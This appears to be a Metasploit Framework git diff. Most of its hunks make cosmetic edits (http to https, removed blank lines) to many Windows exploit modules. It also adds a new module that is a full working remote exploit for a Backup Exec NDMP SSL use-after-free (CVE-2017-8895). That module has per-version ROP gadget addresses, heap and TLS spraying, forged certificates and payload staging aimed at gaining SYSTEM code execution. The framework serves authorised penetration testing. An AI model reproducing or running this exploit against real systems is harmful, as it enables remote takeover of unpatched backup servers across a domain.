@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/antivirus/symantec_rtvscan.rb b/modules/exploits/windows/antivirus/symantec_rtvscan.rb
index ba56aa712f..d397c11ffc 100644
--- a/modules/exploits/windows/antivirus/symantec_rtvscan.rb
+++ b/modules/exploits/windows/antivirus/symantec_rtvscan.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb
index c88d3bced3..ee9a1c6e21 100644
--- a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb
+++ b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -353,5 +353,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     stream
   end
-
 end
diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb
index 71967dccc1..0b6043482b 100644
--- a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb
+++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb
index d156a222b8..30cf3c5b20 100644
--- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb
+++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb
index 5cc87238a3..00c07c7c2a 100644
--- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb
+++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb
index 28e5ee8982..868fea9dbf 100644
--- a/modules/exploits/windows/arkeia/type77.rb
+++ b/modules/exploits/windows/arkeia/type77.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -112,5 +112,4 @@ class MetasploitModule < Msf::Exploit::Remote
     seh = generate_seh_payload( target['Rets'][0] )
     data[ 96, seh.length] = seh
   end
-
 end
diff --git a/modules/exploits/windows/backdoor/energizer_duo_payload.rb b/modules/exploits/windows/backdoor/energizer_duo_payload.rb
index 1db4e5aa21..6978e81a2f 100644
--- a/modules/exploits/windows/backdoor/energizer_duo_payload.rb
+++ b/modules/exploits/windows/backdoor/energizer_duo_payload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb
index 3e61c997aa..0f1627d317 100644
--- a/modules/exploits/windows/backupexec/name_service.rb
+++ b/modules/exploits/windows/backupexec/name_service.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -105,7 +105,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
 
 
diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb
index b479e4b90b..1e0897e913 100644
--- a/modules/exploits/windows/backupexec/remote_agent.rb
+++ b/modules/exploits/windows/backupexec/remote_agent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/backupexec/ssl_uaf.rb b/modules/exploits/windows/backupexec/ssl_uaf.rb
new file mode 100644
index 0000000000..91fb6f2e29
--- /dev/null
+++ b/modules/exploits/windows/backupexec/ssl_uaf.rb
@@ -0,0 +1,1345 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/exploit/ndmp_socket'
+
+require 'openssl'
+require 'xdr'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Remote::NDMPSocket
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',
+      'Description'    => %q{
+        This module exploits a use-after-free vulnerability in the handling of SSL NDMP
+        connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL
+        is re-established on a NDMP connection that previously has had SSL established,
+        the BIO struct for the connection's previous SSL session is reused, even though it
+        has previously been freed.
+
+        This module supports 3 specific versions of the Backup Exec agent in the 14, 15
+        and 16 series on 64-bit and 32-bit versions of Windows and has been tested from
+        Vista to Windows 10. The check command can help narrow down what major and minor
+        revision is installed and the precise of version of Windows, but some other
+        information may be required to make a reliable choice of target.
+
+        NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a
+        reliability of around 85%. On other versions of Windows, reliability is around 35%
+        (due to the need to win a race condition across the network in this case; this may
+        drop further depending on network conditions). The agent is normally installed on
+        all hosts in a domain that need to be backed up, so if one service crashes, try
+        again on another :) Successful exploitation will give remote code execution as the
+        user of the Backup Exec Remote Agent for Windows service, almost always
+        NT AUTHORITY\SYSTEM.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => [ 'Matthew Daley' ],
+      'References'     =>
+        [
+          [ 'CVE', '2017-8895' ],
+          [ 'VTS', '17-006' ],
+          [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]
+        ],
+      'Platform'       => 'win',
+      'Stance'         => Msf::Exploit::Stance::Aggressive,
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'Targets'        =>
+        [
+          [
+            'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',
+            { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
+          ],
+          [
+            'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',
+            { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
+          ],
+          [
+            'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',
+            { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
+          ],
+          [
+            'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',
+            { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
+          ],
+          [
+            'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',
+            { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
+          ],
+          [
+            'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',
+            { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
+          ],
+          [
+            'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',
+            { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
+          ],
+          [
+            'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',
+            { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
+          ],
+          [
+            'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',
+            { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
+          ],
+          [
+            'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',
+            { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
+          ],
+          [
+            'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',
+            { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
+          ],
+          [
+            'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',
+            { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
+          ]
+        ],
+      'DefaultOptions' =>
+        {
+          'RPORT'              => 10000,
+          'NumTriggerAttempts' => 50,
+          'EXITFUNC'           => 'thread'
+        },
+      'Privileged'     => true,
+      'DisclosureDate' => 'May 10 2017',
+      'DefaultTarget'  => 8))
+
+    register_options([
+      OptInt.new('NumSpraySockets',    [ false, 'Number of sockets to spray stage 1 with' ]),
+      OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),
+      OptInt.new('NumTriggerAttempts', [ true,  'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])
+    ])
+  end
+
+  def check
+    s = NDMP::Socket.new(connect)
+    return CheckCode::Unknown unless connect_ndmp(s, 2)
+
+    resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))
+    return CheckCode::Unknown unless resp
+    info = HostInfoResponse.from_xdr(resp.body)
+    print_line('Hostname: ' + info.hostname)
+    print_line('OS type: ' + info.os_type)
+    print_line('OS version: ' + info.os_version)
+    print_line('Host ID: ' + info.host_id)
+
+    disconnect
+    s = NDMP::Socket.new(connect)
+    return CheckCode::Unknown unless connect_ndmp(s, 3)
+
+    resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO))
+    return CheckCode::Unknown unless resp
+    info = ServiceInfoResponse.from_xdr(resp.body)
+    print_line('Vendor: ' + info.vendor_name)
+    print_line('Product: ' + info.product_name)
+    print_line('Revision: ' + info.revision_number)
+
+    ver = info.revision_number.split('.')
+    if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2)
+      CheckCode::Appears
+    else
+      CheckCode::Detected
+    end
+  end
+
+  def exploit
+    print_status('Connecting sockets...')
+
+    # Connect a differing amount of sockets for stage 1 spraying depending on the target
+    spray_socks = connect_additional_sockets(
+      datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200),
+      target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3
+    )
+
+    # Likewise, connect a differing amount of sockets for TLS extension spraying depending
+    # on the target
+    num_tls_spray_socks = datastore['NumTLSSpraySockets'] || (
+      case target.opts['Version']
+      when 14
+        0
+      when 15
+        target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100
+      when 16
+        target.opts['Arch'] == ARCH_X64 ? 100 : 0
+      end
+    )
+    tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)
+
+    s = NDMP::Socket.new(connect)
+    unless connect_ndmp(s, 3)
+      fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")
+    end
+
+    ca_cert, ca_key = generate_ca_cert_and_key
+    ca_cert_id = get_cert_id(ca_cert)
+    print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")
+
+    print_status('Getting and handling a certificate signing request...')
+    agent_cert = handle_a_csr(s, ca_cert, ca_key)
+    fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?
+    print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")
+
+    if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15
+      # For certain target types, put the stage 1 spray sockets into SSL mode. We can use
+      # the newly made CA certificate and key as our client side certificate
+      ssl_context = OpenSSL::SSL::SSLContext.new
+      ssl_context.cert = ca_cert
+      ssl_context.key = ca_key
+      print_status('Entering spray sockets into SSL mode...')
+      (1..2).each do |phase|
+        spray_socks.each do |ss|
+          require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
+          require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
+          ss.wrap_with_ssl(ssl_context) if phase == 2
+        end
+      end
+    end
+
+    print_status('Testing certificate...')
+    require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id)
+
+    # For some targets, split the spraying of TLS extensions around entering SSL on the
+    # main socket
+    tls_cutoff = tls_spray_socks.length
+    if target.opts['Win8Upwards']
+      if target.opts['Arch'] == ARCH_X86
+        tls_cutoff /= 2
+      end
+    else
+      tls_cutoff /= 10
+    end
+    spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id)
+
+    print_status('Entering SSL mode on main socket...')
+    require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
+
+    spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id)
+
+    # Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other
+    # stages are contained in the SSL socket buffer at the time of the UAF. The record
+    # itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the
+    # record (depending on the amount of trigger attempts required; see attempt_triggers)
+    print_status('Sending stages 2 to 4...')
+    if target.opts['Arch'] == ARCH_X64
+      if target.opts['Version'] == 14
+        # x64, version 14. Use a TLS handshake record
+        #
+        #   Windows 8+:
+        #     Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8
+        #          0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #      0 | 16 | 03 | 01 | length  | FILLER
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #     10                                                                  | ret 3
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #     20                          | ret                                   | FILLER       |
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #     30 | retsled (0x10 aligned length)...                                              |
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #     .. | stages 2-4...
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #
+        #   Otherwise:
+        #     Stage 1 jumps to 0x18
+        #          0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #      0 | 16 | 03 | 01 | length  | FILLER
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #     10                                         | ret                                   |
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #     20 | stages 2-4...
+        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+
+        ret = [0xbe6c897].pack('Q<')
+        if target.opts['Win8Upwards']
+          ret_3 = [0xbe2829b].pack('Q<')
+          payload = rand_text(24) + ret_3 + ret + rand_text(3) +
+                    ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max
+        else
+          payload = rand_text(19) + ret
+        end
+        payload << generate_stages_2_to_4
+
+        stage_tls = generate_tls_handshake_record(payload)
+      else
+        # x64, version 15/16. Use a SSLv2 hqndshake record
+        #   Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8
+        #   Otherwise: Stage 1 jumps to 0x18
+        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #    0 | length  | 01 | 03 | FILLER
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #   10                                         | pop x3; ret                           |
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #   20 | FILLER       | ret 5                                 | ret
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #   30                | FILLER                 | retsled (0x8 aligned length)...       |
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #   40 | stages 2 - 4...
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+
+        pop_x3 = [0xbe1d920].pack('Q<')
+        ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<')
+        ret = [0xbe6c897].pack('Q<')
+        payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) +
+                  ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max +
+                  generate_stages_2_to_4
+
+        stage_tls = generate_tls_in_sslv2_clienthello(payload)
+      end
+    else
+      if target.opts['Version'] == 14
+        # x86, version 14. Use a TLS handshake record
+        #   Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4
+        #   Otherwise: Stage 1 jumps to 0x4
+        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #    0 | 16 | 03 | 01 | ln | pop x3; ret       | FL | ret 3             | ret
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #   10      | FILLER       | retsled...        | stages 2 to 4...
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+
+        pop_x3 = [0x6311f901].pack('L<')
+        ret_3 = [0x6312164a].pack('L<')
+        ret = [0x63101514].pack('L<')
+        payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) +
+                   ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4)
+
+        stage_tls = generate_tls_handshake_record(payload, pop_x3[0])
+      else
+        # x86, version 15/16. Use a SSLv2 hqndshake record
+        #   Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4
+        #   Otherwise: Stage 1 jumps to 0x4
+        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #    0 | length  | 01 | 03 | add esp, 0xc; ret | FILLER                           | inc esp; ret
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+        #   10                | FL | retsled...        | stages 2 to 4...
+        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
+
+        add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<')
+        inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<')
+        ret = [0x63101564].pack('L<')
+        payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char +
+                  ret * [0, datastore['NumTriggerAttempts'] - 3].max +
+                  generate_stages_2_to_4
+
+        stage_tls = generate_tls_in_sslv2_clienthello(payload)
+      end
+    end
+    s.raw_sendall(stage_tls, 0)
+    if target.opts['Version'] == 14
+      resp = s.raw_recv(5)
+      fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?
+      s.raw_recv(resp[3...5].unpack('n')[0])
+    end
+
+    print_status('Closing TLS spray sockets...')
+    tls_spray_socks.reverse! unless target.opts['Win8Upwards']
+    tls_spray_socks.each do |ts|
+      ts.close
+      sleep(0.1)
+    end
+    sleep(1)
+
+    # Spray stage 1 in the string payloads of selected NDMP packet types
+    if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64
+      spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1])
+      spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR
+    else
+      spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2
+      spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH
+    end
+    spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload)
+
+    # We need to be able to detect as soon as a connection is made to the payload in order
+    # to stop spraying/trigger attempts ASAP
+    @payload_connected = false
+    if payload_instance.respond_to?(:handle_connection)
+      old_handle_connect = payload_instance.method(:handle_connection)
+      payload_instance.define_singleton_method(:handle_connection) do |*args|
+        @payload_connected = true
+        old_handle_connect.call(*args)
+      end
+    end
+
+    if target.opts['Win8Upwards']
+      # After this SSL request, the BIO struct is freed but still referred to in the new
+      # SSL context
+      print_status('Re-entering SSL mode on main socket...')
+      require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
+
+      # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF
+      attempt_triggers(s, spray_socks, spray_msg)
+    else
+      # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race
+      attempt_race(s, spray_socks, spray_msg, ca_cert_id)
+    end
+
+    handler
+  end
+
+  private
+
+  SSL_HANDSHAKE_REQUEST = 0xf383
+
+  class SSLRequest < XDR::Struct
+    class Opcode < XDR::Enum
+      member :test_cert, 1
+      member :get_csr_req, 2
+      member :give_signed_cert, 3
+      member :start_ssl, 4
+      seal
+    end
+
+    attribute :opcode,            Opcode
+    attribute :media_server_name, XDR::String[]
+    attribute :media_server_fqdn, XDR::String[]
+    attribute :media_server_addr, XDR::String[]
+    attribute :cert_id_1,         XDR::Int
+    attribute :cert_id_2,         XDR::Int
+    attribute :unknown1,          XDR::Int
+    attribute :unknown2,          XDR::Int
+    attribute :unknown3,          XDR::Int
+    attribute :ca_cert,           XDR::String[]
+    attribute :unknown4,          XDR::Int
+    attribute :agent_cert,        XDR::String[]
+
+    def self.new_for_opcode(opcode)
+      new(
+        :opcode            => opcode,
+        :media_server_name => 'foo',
+        :media_server_fqdn => 'foo',
+        :media_server_addr => 'foo',
+        :cert_id_1         => 0,
+        :cert_id_2         => 0,
+        :unknown1          => 0,
+        :unknown2          => 0,
+        :unknown3          => 0,
+        :ca_cert           => '',
+        :unknown4          => 0,
+        :agent_cert        => ''
+      )
+    end
+  end
+
+  class SSLResponse < XDR::Struct
+    attribute :unknown1, XDR::Int
+    attribute :unknown2, XDR::String[]
+    attribute :unknown3, XDR::Int
+    attribute :unknown4, XDR::String[]
+
+    def empty?
+      (attributes[:unknown1].zero? && attributes[:unknown2].empty? &&
+       attributes[:unknown3].zero? && attributes[:unknown4].empty?)
+    end
+  end
+
+  class ServiceInfoResponse < XDR::Struct
+    attribute :error,           XDR::Int
+    attribute :vendor_name,     XDR::String[]
+    attribute :product_name,    XDR::String[]
+    attribute :revision_number, XDR::String[]
+    attribute :auth_types,      XDR::VarArray[XDR::Int]
+  end
+
+  class HostInfoResponse < XDR::Struct
+    attribute :error,      XDR::Int
+    attribute :hostname,   XDR::String[]
+    attribute :os_type,    XDR::String[]
+    attribute :os_version, XDR::String[]
+    attribute :host_id,    XDR::String[]
+    attribute :unknown,    XDR::VarArray[XDR::Int]
+  end
+
+  #
+  # Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.
+  #
+  def connect_ndmp(s, version, phase=nil)
+    if phase.nil? || phase == 1
+      return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
+    end
+
+    if phase.nil? || phase == 2
+      return false unless s.prepare_and_write_ndmp_msg(
+        NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))
+      )
+    end
+
+    if phase.nil? || phase == 3
+      msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
+      return false unless msg
+      fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
+    end
+
+    true
+  end
+
+  #
+  # Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.
+  #
+  def connect_additional_sockets(num_socks, version)
+    socks = (0...num_socks).map do
+      NDMP::Socket.new(connect(false))
+    end
+
+    (1..3).each do |phase|
+      socks.each do |ss|
+        unless connect_ndmp(ss, version, phase)
+          fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
+        end
+      end
+    end
+
+    socks
+  end
+
+  #
+  # Send a Backup Exec-specific SSL NDMP request and receive the response.
+  #
+  def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil)
+    if phase.nil? || phase == 1
+      req = SSLRequest.new_for_opcode(opcode)
+      req.cert_id_1 = req.cert_id_2 = ca_cert_id
+      msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)
+
+      if block_given?
+        last = s.prepare_and_write_ndmp_msg(msg, true)
+        return nil unless last
+        sleep(1)
+        yield true
+        s.raw_sendall(last, 0)
+        yield false
+      else
+        return nil unless s.prepare_and_write_ndmp_msg(msg)
+      end
+    end
+
+    if phase.nil? || phase == 2
+      msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)
+      return msg ? SSLResponse.from_xdr(msg.body) : nil
+    end
+
+    nil
+  end
+
+  #
+  # Send a Backup Exec SSL NDMP request and receive the response, requiring the response
+  # to be empty.
+  #
+  def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
+    resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
+    if phase.nil? || phase == 2
+      fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
+      fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
+    end
+  end
+
+  #
+  # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes
+  # of the SHA-1 of the issuer and the raw serial number.
+  #
+  def get_cert_id(cert)
+    Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]
+  end
+
+  #
+  # Create a self-signed CA certificate and matching key.
+  #
+  def generate_ca_cert_and_key(key_len=2048)
+    ca_key = OpenSSL::PKey::RSA.new(key_len)
+
+    ca_cert = OpenSSL::X509::Certificate.new
+    ca_cert.version    = 3
+    ca_cert.serial     = 1
+    ca_cert.subject    = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')
+    ca_cert.not_before = Time.now - 60 * 60 * 24
+    ca_cert.not_after  = Time.now + 60 * 60 * 24 * 365
+    ca_cert.public_key = ca_key.public_key
+
+    extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)
+    ca_cert.extensions = [
+      extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
+      extn_factory.create_extension('basicConstraints', 'critical,CA:true')
+    ]
+    # Have to do this after creating subjectKeyIdentifier extension
+    ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
+
+    ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new)
+
+    [ca_cert, ca_key]
+  end
+
+  #
+  # Get and handle a certificate signing request from Backup Exec with the given CA
+  # certificate and key.
+  #
+  def handle_a_csr(s, ca_cert, ca_key)
+    resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)
+    return nil if resp.nil?
+    request = OpenSSL::X509::Request.new(resp.unknown2)
+
+    agent_cert = OpenSSL::X509::Certificate.new
+    agent_cert.version    = 3
+    agent_cert.serial     = 2
+    agent_cert.subject    = request.subject
+    agent_cert.issuer     = ca_cert.subject
+    agent_cert.not_before = Time.now - 60 * 60 * 24
+    agent_cert.not_after  = Time.now + 60 * 60 * 24 * 365
+    agent_cert.public_key = request.public_key
+
+    extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)
+    agent_cert.extensions = [
+      extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
+      extn_factory.create_extension('basicConstraints', 'critical,CA:false')
+    ]
+    # Have to do this after creating subjectKeyIdentifier extension
+    agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
+
+    agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new)
+
+    req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)
+    req.ca_cert = ca_cert.to_s
+    req.agent_cert = agent_cert.to_s
+    return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))
+
+    agent_cert
+  end
+
+  #
+  # Generate a TLS handshake record with the given payload.
+  #
+  def generate_tls_handshake_record(payload, required_fifth_byte=nil)
+    fail_with(Failure::Unknown, 'No payload') if payload.empty?
+
+    # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
